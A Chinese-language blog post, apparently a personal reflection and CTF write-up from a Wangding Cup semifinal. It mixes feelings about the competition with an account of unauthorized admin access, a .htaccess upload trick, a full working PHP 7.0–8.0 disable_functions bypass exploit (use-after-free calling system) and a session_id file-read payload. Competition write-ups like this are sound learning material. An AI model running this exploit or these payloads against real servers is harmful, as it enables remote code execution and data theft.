前排提醒,大量反思+少量wp

网鼎半决赛前

经过我一番查找和没有认真看赛制说明的情况下,我用了一周在THM上过了一遍域,并开始幻想自己轻松淦进第一层然后开始抓哈希横向的帅气操作,然后像我在云境打的很多个靶场一样,嗦!嗦!嗦!震惊队友震惊自己,我就是最酷炫的黑阔!!

带着这种思想(幻想)我在赛前一周库库刷库库开心!!

网鼎半决赛

进场的我幸运的面基了Byx20(B神!!!)咸鱼芬(芬爹!!!)Z3m1th神!!!开心之余悄悄打植物大战僵尸(B神:你在玩什么?fault:嘻嘻 k1sme4:啊啊啊啊你怎么乱打(已红温))
寒暄完就是开赛辣!!!

拿到题目的一瞬间看到不是能一把嗦的站已经隐隐约约觉得哪里不对劲了(事实证明直觉没问题),但当时的我还在侥幸是不是弱口令一把嗦,只是考一点ctf一点的东西罢了,但是直到我看了一个小时没有成果的时候我害怕了

fault对于爆零的心理阴影由来已久,早些追溯到大一的ISCTF,晚些追溯到CCB半决,那时候的我又菜(虽然现在也好不到哪儿去)又颓废,但多半取决于我在刷了一年web题仍然在大一的比赛中被薄纱让我看不到希望,像我这种人是最看重短期成效的,如果没有短期成效就开始怀疑自己的烂天赋,怀疑自己到底有没有脑子。反复的内耗+校内一团乱麻+家中出事,根本没有心思学习,导致我大二拖累了k1没有去CCB决赛,之后这成了氤氲在我大脑中无数噩梦轮回的阴影,每次比赛我都在担心他会不会不让我去打,但我又怕他和我组队但我又拖累他一次)

没错,在看到题目并不如自己赛前愿景的fault开始难受+胡思乱想。但是我。。。

我的灵感!
在长达一年脑雾后我的灵感回来了!

我开始审计这个站(恒汇)

发现了亲爱的未授权和自己的一些理解结合起来

1
http://114.114.114.199/index.php?mod=admin&act=shop&get=goods&re=list

于是我发现了这个
这个本质是在js中翻到的shop但是经过我个人对站的理解后发现这个地方有一个未授权!!!
然后进去之后发现有一个文件上传的地方
发现传不了php&&phtml
但是又有哪一次是能传的呢?
于是继续测试,发现.htaccess可以传上去的一瞬间!
我头皮发麻,那一瞬间我觉得
我,我真的可以
然后一遍传jpg一遍拍k1sme4,他探头,我给他看我.htaccess传上去了
他:!
我:!
刚睡醒的赵总:!
然后我光速访问,发现emmmm,我勒个权限低到爆
于是再写一个phpinfo,果然,是因为disable_function
尝试用这个脚本搞掉,但是没成功

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
<?php
# PHP 7.0-8.0 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=54350
#
# This exploit should work on all PHP 7.0-8.0 versions
# released as of 2021-10-06
#
# Author: https://github.com/mm0r1

pwn('uname -a');

function pwn($cmd) {
define('LOGGING', false);
define('CHUNK_DATA_SIZE', 0x60);
define('CHUNK_SIZE', ZEND_DEBUG_BUILD ? CHUNK_DATA_SIZE + 0x20 : CHUNK_DATA_SIZE);
define('FILTER_SIZE', ZEND_DEBUG_BUILD ? 0x70 : 0x50);
define('STRING_SIZE', CHUNK_DATA_SIZE - 0x18 - 1);
define('CMD', $cmd);
for($i = 0; $i < 10; $i++) {
$groom[] = Pwn::alloc(STRING_SIZE);
}
stream_filter_register('pwn_filter', 'Pwn');
$fd = fopen('php://memory', 'w');
stream_filter_append($fd,'pwn_filter');
fwrite($fd, 'x');
}

class Helper { public $a, $b, $c; }
class Pwn extends php_user_filter {
private $abc, $abc_addr;
private $helper, $helper_addr, $helper_off;
private $uafp, $hfp;

public function filter($in, $out, &$consumed, $closing) {
if($closing) return;
stream_bucket_make_writeable($in);
$this->filtername = Pwn::alloc(STRING_SIZE);
fclose($this->stream);
$this->go();
return PSFS_PASS_ON;
}

private function go() {
$this->abc = &$this->filtername;

$this->make_uaf_obj();

$this->helper = new Helper;
$this->helper->b = function($x) {};

$this->helper_addr = $this->str2ptr(CHUNK_SIZE * 2 - 0x18) - CHUNK_SIZE * 2;
$this->log("helper @ 0x%x", $this->helper_addr);

$this->abc_addr = $this->helper_addr - CHUNK_SIZE;
$this->log("abc @ 0x%x", $this->abc_addr);

$this->helper_off = $this->helper_addr - $this->abc_addr - 0x18;

$helper_handlers = $this->str2ptr(CHUNK_SIZE);
$this->log("helper handlers @ 0x%x", $helper_handlers);

$this->prepare_leaker();

$binary_leak = $this->read($helper_handlers + 8);
$this->log("binary leak @ 0x%x", $binary_leak);
$this->prepare_cleanup($binary_leak);

$closure_addr = $this->str2ptr($this->helper_off + 0x38);
$this->log("real closure @ 0x%x", $closure_addr);

$closure_ce = $this->read($closure_addr + 0x10);
$this->log("closure class_entry @ 0x%x", $closure_ce);

$basic_funcs = $this->get_basic_funcs($closure_ce);
$this->log("basic_functions @ 0x%x", $basic_funcs);

$zif_system = $this->get_system($basic_funcs);
$this->log("zif_system @ 0x%x", $zif_system);

$fake_closure_off = $this->helper_off + CHUNK_SIZE * 2;
for($i = 0; $i < 0x138; $i += 8) {
$this->write($fake_closure_off + $i, $this->read($closure_addr + $i));
}
$this->write($fake_closure_off + 0x38, 1, 4);

$handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
$this->write($fake_closure_off + $handler_offset, $zif_system);

$fake_closure_addr = $this->helper_addr + $fake_closure_off - $this->helper_off;
$this->write($this->helper_off + 0x38, $fake_closure_addr);
$this->log("fake closure @ 0x%x", $fake_closure_addr);

$this->cleanup();
($this->helper->b)(CMD);
}

private function make_uaf_obj() {
$this->uafp = fopen('php://memory', 'w');
fwrite($this->uafp, pack('QQQ', 1, 0, 0xDEADBAADC0DE));
for($i = 0; $i < STRING_SIZE; $i++) {
fwrite($this->uafp, "\x00");
}
}

private function prepare_leaker() {
$str_off = $this->helper_off + CHUNK_SIZE + 8;
$this->write($str_off, 2);
$this->write($str_off + 0x10, 6);

$val_off = $this->helper_off + 0x48;
$this->write($val_off, $this->helper_addr + CHUNK_SIZE + 8);
$this->write($val_off + 8, 0xA);
}

private function prepare_cleanup($binary_leak) {
$ret_gadget = $binary_leak;
do {
--$ret_gadget;
} while($this->read($ret_gadget, 1) !== 0xC3);
$this->log("ret gadget = 0x%x", $ret_gadget);
$this->write(0, $this->abc_addr + 0x20 - (PHP_MAJOR_VERSION === 8 ? 0x50 : 0x60));
$this->write(8, $ret_gadget);
}

private function read($addr, $n = 8) {
$this->write($this->helper_off + CHUNK_SIZE + 16, $addr - 0x10);
$value = strlen($this->helper->c);
if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }
return $value;
}

private function write($p, $v, $n = 8) {
for($i = 0; $i < $n; $i++) {
$this->abc[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}

private function get_basic_funcs($addr) {
while(true) {
// In rare instances the standard module might lie after the addr we're starting
// the search from. This will result in a SIGSGV when the search reaches an unmapped page.
// In that case, changing the direction of the search should fix the crash.
// $addr += 0x10;
$addr -= 0x10;
if($this->read($addr, 4) === 0xA8 &&
in_array($this->read($addr + 4, 4),
[20151012, 20160303, 20170718, 20180731, 20190902, 20200930])) {
$module_name_addr = $this->read($addr + 0x20);
$module_name = $this->read($module_name_addr);
if($module_name === 0x647261646e617473) {
$this->log("standard module @ 0x%x", $addr);
return $this->read($addr + 0x28);
}
}
}
}

private function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = $this->read($addr);
$f_name = $this->read($f_entry, 6);
if($f_name === 0x6d6574737973) {
return $this->read($addr + 8);
}
$addr += 0x20;
} while($f_entry !== 0);
}

private function cleanup() {
$this->hfp = fopen('php://memory', 'w');
fwrite($this->hfp, pack('QQ', 0, $this->abc_addr));
for($i = 0; $i < FILTER_SIZE - 0x10; $i++) {
fwrite($this->hfp, "\x00");
}
}

private function str2ptr($p = 0, $n = 8) {
$address = 0;
for($j = $n - 1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($this->abc[$p + $j]);
}
return $address;
}

private function ptr2str($ptr, $n = 8) {
$out = '';
for ($i = 0; $i < $n; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

private function log($format, $val = '') {
if(LOGGING) {
printf("{$format}\n", $val);
}
}

static function alloc($size) {
return str_shuffle(str_repeat('A', $size));
}
}

如果有绕过去的爹教教我
然后我尝试使用无参rce去读文件

1
<?php show_source(session_id(session_start())); ?>

然后在cookie的PHPSESSID中传/var/www/html/flag.php
这里能发现有flag.php是因为另一个站里我扫出来了flag.php,灵机一动读一手
因为是未授权所以完全不用管因为改了PHPSESSID从而掉出后台

然后到此我们就拿到了600pt的flag了

总结

我不敢说我是努力的,因为我真的很菜,天赋也很差,但是我深知我每一天的刷题都会有用的嘞
嘻嘻
网鼎杯到此就结束辣,没有进决赛,但是我们在贵阳玩的很开心
fault也没有对自己失望
那就到这里吧,我们强网杯见!